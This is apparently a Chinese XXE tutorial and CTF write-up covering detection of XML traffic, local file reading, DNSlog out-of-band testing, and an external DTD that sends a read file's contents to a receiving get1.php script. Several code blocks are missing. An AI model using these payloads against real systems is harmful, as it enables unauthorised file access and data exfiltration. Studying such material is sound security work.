WEB攻防-通用漏洞-XML、XXE及绕过
XXE是什么?
XML作为一种常用于Web应用程序的数据格式。XML文档可以定义实体,它们是存储文档中其他地方重复使用的数据的方式。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XXE(XML外部实体注入)是一种针对应用程序处理XML数据的方式的攻击,在这种攻击中,攻击者利用应用程序对XML输入的处理不当,引入恶意内容,可能导致未授权的数据访问、服务拒绝攻击甚至远程代码执行。
XXE漏洞发生在应用程序解析XML输入的时候,没有禁止外部实体的加载,导致可能加载恶意外部程序,进而引发各种危害
判定XML传输
对于这个漏洞,最重要的是要判断是否使用了XML进行数据的传输,我们可以通过以下两个特征来进行判断,我们抓取数据提交的数据包,查看Accept
和X-Requested-With
,如下所示
当出现application/xml
以及XMLHttpRequest
的时候我们就可以判断其使用了XML进行了数据传输,这个时候我们就可以测试一下是否存在XXE漏洞
XXE读取文件
相关payload如下所示:
<user><username>&test;</username><password>Mikasa</password></user> |
我们可以成功读取到相关的文件
XXE带外测试
当对方关闭了回显的时候,即注释掉下面的两行代码
这个时候我们无论发送什么,都不会有相关的回显
这个时候我们如何去判断有没有XXE漏洞呢?这个时候就要使用DNSlog外带技术进行带外测试,我们将地址换成dnslog的地址,如下所示
点击发送后,我们刷新dnslog的记录,看看是否刷新了相关访问记录
出现这种情况,我们可以判断存在XXE漏洞,只是没有对应的输出信息
XXE实体引用
带外只能判断漏洞是否存在,如果漏洞存在,那么我们该如何进行利用呢?这个时候我们就需要用到DTD文件,通过DTD文件帮助我们将对应的文件信息发送出去
我们的XML信息填写如下:
|
test.dtd文件如下所示:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8081/web/get1.php?file=%file;'>"> |
我们的get1.php如下所示
|
我们发送后,其会调用我们外部的dtd文件,然后实现自动发送,我们使用get1.php文件进行接收对应的参数,并保存为文件
更多玩法参考这篇文章:CTF XXE - MustaphaMond - 博客园 (cnblogs.com)
CTF例题
我们以nssctf上的exx为例子,这个题目一看就是要我们使用xxe漏洞进行攻击
我们首先先随便用一个账号密码登录,然后抓包看看什么情况
更加确定我们这里存在XXE漏洞了,我们这里直接读取flag试试
发送后我们直接读到flag